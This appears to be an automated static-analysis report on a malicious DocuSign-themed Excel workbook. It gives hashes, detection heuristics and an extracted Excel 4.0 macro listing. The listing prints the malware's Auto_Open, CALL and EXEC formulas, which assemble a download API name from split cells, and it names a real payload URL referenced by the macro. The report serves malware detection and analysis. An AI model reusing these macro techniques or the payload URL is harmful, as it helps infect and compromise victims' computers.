Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a5ae5eaa977992fa…

MALICIOUS

Office (OLE) / .XLS

328.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2026-06-11
MD5: 6e43373dc6a36dac2f6e233ed3798a86 SHA-1: 965944a58d0f9d1118a949121d2c94edfa334905 SHA-256: a5ae5eaa977992fad65004e70b5084f62a2f77921a6c24674de587671219e27d
262 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Docusign0521-9864805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Docusign0521-9864805-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://saisoftwareinc.com/ds/1002.gif Referenced by macro
    • https://saisoftwareinc.com/ds/1002.gif�Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 4168 bytes
SHA-256: fe3d0c9f5ea1e2c3ec2903a85e7edd2e4db105d518a1469e71277e913958c44d
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  DocuSig
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Doc
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Doc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  DocuSig!BA11 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Doc,BM9,"",3.00000000000000000000
'  Doc,BA12,BE20(),""
'  Doc,BD14,"FORMULA.ARRAY(BM3&BM4&BM5&BM6&BM7&BM8&BM9&"2 ",BD15)",""
'  Doc,BF14,"FORMULA.ARRAY(BN3&BN4&BN5&BN6&BN7&BN8&BN9&BN10&BN11&BN12&BN13&BN14&BN15&BN16&BN17&BN18&BN19&BN20,BF15)",""
'  Doc,BD16,BF14(),""
'  Doc,BF16, Doc!X1(),""
'  Doc,BE20,"FORMULA.ARRAY(BO3,BE21)",""
'  Doc,BE22,BD14(),""
'  Doc,X1,"CALL("U"&"R"& DocuSig!BO8&"n", DocuSig!BP3& DocuSig!BP4& DocuSig!BP5& DocuSig!BP6& DocuSig!BP7& DocuSig!BP8& DocuSig!BP9& DocuSig!BP10& DocuSig!BP11& DocuSig!BP12& DocuSig!BP13& DocuSig!BP14& DocuSig!BP15& DocuSig!BP16& DocuSig!BP17& DocuSig!BP18& DocuSig!BP19& DocuSig!BE21,"JJCCBB",0, DocuSig!A100, DocuSig!BO7,0)",""
'  Doc,X2, Doc!BA2(),""
'  Doc,BA2,EXEC( DocuSig!BD15& DocuSig!BO5& DocuSig!BO6& DocuSig!BO7& DocuSig!BF15),""
'  Doc,BA3,HALT(),""

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